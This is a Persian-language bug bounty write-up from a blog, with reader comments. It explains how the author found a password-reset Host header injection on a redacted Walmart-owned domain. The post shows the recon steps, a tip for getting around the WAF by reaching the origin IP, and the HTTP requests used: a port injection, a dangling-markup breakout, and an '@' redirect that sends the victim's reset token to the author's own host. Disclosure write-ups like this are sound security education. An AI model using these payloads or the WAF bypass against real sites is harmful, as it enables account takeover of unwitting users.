نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

06 مارس 2022

سلام رفقا, آرمان هستم و قراره توی این رایت آپ یه یکی از گزارش های P2 اخیر من که بنظر سناریو قشنگی پشتش بود بپردازیم. قرار نیست من فقط راهی که باهاش باگ رو اکسپلویت کردم بررسی کنیم. میخوام از اول تا ریکانی که کردم بررسی کنیم و حتی چیزایی که تست کردم و به نتیجه نرسید رو چک کنیم.

چالش انتخاب تارگت

من به شخصه تنوع تارگت رو توی کارم دوست دارم و بخش ریکان رو ترجیح میدم لقمه بزرگ بردارم تا خودم رو به چالش بکشم. به طور اختصاصی روی والمارت کار میکنم و به خودم این اجازه رو نمیدم تا برنامه دیگه ای رو بردارم. از طرفی هم walmart خودش متشکل از خیلی شرکت های مختلفی هستش پس باید جوری کار کنم که هم ریکان خوبی رو انجام بدم هم اینکه وقتی به یک دامنه‌ای میرسم بتونم ازش باگ خوب بزنم. فلو کاری من به این صورته که روی یکی از متعلق های والمارت قفلی میزنم و چند روز ریکان میکنم ٬ بعدش میرم سراغ هانت. این سبکی هستش که برای من جوابگو هست٬ حالا شما بر اساس روحیه ای که دارید٬ فلو شخصی خودتون رو بسازید.

مهره اصلی بازی (پیدا کردن دامین)

فرضا شرکت تراکتور سازی تبریز رو والمارت خریده ٬ من سایت اصلیشون رو باز میکنم و با یکسری کلمه کلیدی ها دورک های مخصوصی  میسازم که من رو میرسونه به متعلقات شرکت تراکتور سازی. تا صفحه آخر گوگل رو میرم و دونه دونه به صورت دستی ریزالت هارو بررسی میکنم. من به این دامینی که باگ رو ازش زدم دقیقا همینجوری رسیدم. اما داستان رو همینجا تموم نکردم٬ به خودم گفتم “اوکی آرمان سعی کن با روش های دیگه هم این دامنه رو پیدا کنی” این  چالش رو برای خودم ساختم و تونسم با ۳ تا روش دیگ هم به این دامین برسم. این چالش هارو بسازید تا جرقه توی ذهنتون بزنه و روش های جدید ابداع کنید. اینجوری همیشه یک قدم جلوتر می افتید.

بدون با کی طرفی؟

این بخش ۵۰ ۵۰ پیش میره٬ یعنی نصف راه اتومیت میشه و نصف دیگش دستی باید انجام بشه. بخش اتومیت رو من با پایتون چندتا ابزار رو ترکیب کردم و اون ریزالت های زیر رو بهم میده: 

Brokenlink.txt - PATH.txt - XSS.txt - backupdomain.txt - keys.txt - values.txt - SoicalMedia.txt - SQL.txt 

در کنارش هم شروع میکنم دایرکتوری فاز کردن  با ابزار ffuf و در نهایت این اتومیت بازی ها من یسری دیتا از سایت دارم که بهم شمای کلی میده از اینکه با چی سر و کله باید بزنم٬ هر کدوم از اینا برای یک سری سناریو هایی نیاز میشه و کار رو حسابی جلو میندازه.

در کنار اینا شروع کنید توی Shodan و هر متدولوژی دیگ ای که دارید برسید به آی‌پی اصلی سایت و اونم بر اساس یه تجربه شخصی روی ی پروژه پنتست بهش رسیدم و بعدها توی توییتر دیدم بقیه هم بهش اشاره میکنن. خیلی وقتا WAF یا هر پروتکل امنیتی دیگه‌ای جلوی پیلود یا حتی تست‌هایی مثل IDOR رو میگیره اما اگر با آی‌پی سایت رو باز کنید ممکنه دیگه WAF و باقی چیزا جلو دست و این یعنی قدرت :)))

این دوتا دونه از کارایی بود که من انجام میدم و شما میتونید خیلی کارای دیگه هم بکنید تا به نتایج بهتری برسید.

چی باید میدونستم برای اکسپلویت؟؟

برای این که بتونید این باگ رو اکسپلویت کنید نیاز داشتین به چندتا باگ آشناییت داشته باشین. یکیش پیلود های Open Redirection هستش که Payload all the Things برای این ماجرا کافی بودش . بعدش آسیب‌پذیری که خیلی کم بهش اشاره شده و  کلید اصلی این ماجراست و اونم Dangling Markup. برای این  باگ هم چالش های PortSwigger رو من خودم حل کردم. دونستن سناریوهای حمله Host Header Injection هم خالی از لطف نبود. داخل پرانتز بگم این اکسپلویت هم Host Header Injection هست ولی من ندیدم جایی به این شیوه اکسپلویتش اشاره کنن.

بخش شیرین داستان (اکسپلویت)

حالا بریم سر بحثی که من چیکار کردم. حقیقتش رو بگم من فانکشن Reset Password رو گذاشتم جلوم و گفتم این یه باگ خوب داره و من باید پیداش کنم. خیلی چیزا تست کردم ولی جواب نداد. بخش Host Header Injection رو بررسی کردم دیدم نه جواب نمیده تقریبا یک ساعتی فقط روی یک درخواست بودم و همه سناریوها رو تست کردم. با خودم گفتم بزار ببینم اگر به Host بیام و Port اضافه کنم چ اتفاقی می‌افته؟

POST /user/forgotten-password HTTP/2
Host: www.redacted.tld:123
…
email=victim%40email.tld

و حالا ایمیلی که دریافت کردم رو ببینیم.

همینجوری که میبینید پورت برای ما رفلکت شده روی صفحه و حالا نوبت میرسه تست سناریو Dangling Markup که یعنی باید یک Breakpoint ایجاد کنم. پس درخواستم رو به این شکل تغییر دادم:

POST /user/forgotten-password HTTP/2
Host: www.redacted.tld:123">
…
email=victim%40email.tld

حالا نتیجه رو دریابید.

ببین چه خوشگل تونستیم توی ایمیل Breakpoint رو ایجاد کنیم اما قضیه به اینجا ختم نمیشه و باید بتونیم تگ‌هایی مثل Image یا a باز کنیم تا توکن رو برای خودمون بفرستیم. توی این مورد یک چالشی برای ما به وجود میاد که داستان میشه٬ اونم اینکه محدودیت کاراکتر اعمال میشه وقتی بریک میکنی 🙂 حالا یعنی چی ؟

Host: Host: www.redacted.tld:123”><img+src=x> → 404 :(
Host: Host: www.redacted.tld:123”><arman> → 200 :)

وقتی Break میشد بعدش بیشتر از یه حدی نمی شد کاراکتر بزاریم و این داستان رو خراب میکرد، خودم خیلی دوست داشتم روی سناریو اکسپلویت شه ولی خب قسمت نبود. 

الان هدف به دست آوردن توکن بودش پس نیاز داشتم به یک سناریو که وقتی کاربر روی لینک کلیک میکنه توکنش برای من ارسال شه و تنها راه توی این حالت Redirect کردن یوزر به سایت خودمه که از اونور توکنش رو بگیرم. یکی از تریک‌هایی که خیلی دوسش دارم و اکثر جاها به دادم رسیده @ هستش که باعث ریدایرکت کردن تارگت میشه. اگر شما روی این لینک کلیک کنید https://google.com@evil.com میرید روی Evil.com و من از همین نکته استفاده کردم اینجا. اومدم و به این صورت درخواست رو ارسال کردم:

POST /user/forgotten-password HTTP/2
Host: www.redacted.tld:123@memoryleaks.ir
…
email=victim%40email.tld

حالا نتیجه رو دریابید.

پس سناریو حمله به این صورت میشه که وقتی ایمیل کاربر رو وارد میکنیم درخواست POST ریست پسورد رو توی برپ کپچر می کنیم و هدر اینجکت رو انجام میدیم. ایمیل ارسال شده به صورتی هستش که وقتی روی لینک کلیک میکنه ریدایرکت میشه به سایت من٬ توکن قربانی برای من لاگ میشه و Account Takeover خوشگلی به سر انجام خودش میرسه.

دو کلمه حرف آخر

و این بود خلاصه یک P2 که داستان قشنگی داشتش. چیزایی که به من کمک کردن اینجا برای اکسپلویت این باگ اول از همه این بود که من سناریوهای حمله رو میشناختم و اونم حل lab و رایت آپ به دست اومده بودش. دوم اینکه وقت بزارید روی ی فانکشن حساس ٬ من  ۱۳ ۱۲ مدل سناریو مختلف رو با کلی بای پس پیاده کردم و خوردم به در بسته تا اخرش این جواب داد. برای خودتون چالش بسازید چه توی ریکان و اکسپلویت و چه داخل زندگیتون تا بفهمید چقدر توانایی دارید و در نهایت ارتقاش بدید ( پی لقمه آماده نباشید همیشه).

امیدوارم که این رایت آپ و حرفا براتون مفید بوده باشه. گه گداری که چیزای جذابی به چشمم میخوره رو توی توییتر و اینستاگرام میزارم. اگر دوست داشتین حتما یسری بهش بزنید .

Twitter: https://twitter.com/ArmanSecurity
Instagram:  https://www.instagram.com/arman.sec

2 پست نوشته شده
چالش پذیرم و از یک نواختی بیزارم٬ هیجان و صفر و یک رو دوست دارم پس بهترین گزینه روی میز امنیت بودش. روزم رو بین کار و زندگی شخصیم تقسیم کردم. کارم همون سرگرمیم هستش. این جاده ته نداره پس از جاده لذت ببر نه فقط فکر مقصد باش.
  • به اشتراک بگذارید:
برچسب‌ها: ،
  1. مهدی مرادلو گفت:

    عالی بود آرمان جان

  2. PERSON گفت:

    eyvall khalaghiat
    ghashang va jaleb bod merci

  3. Zero01 گفت:

    سناریو جالبی بود دمت گرم

  4. amirpayamani گفت:

    عالی داداش 👌🏻

  5. ali گفت:

    سلام دوستان
    من تازه شروع کردم به اموزش دیدن در زمینه هک.
    چندیدن بار دیدیم که از کلمه “ریکان” استفاده شده. این چیه؟

  6. pybro گفت:

    عالی بود و سناریوت خیلی شبیه password reset poisoning بود موفق باشی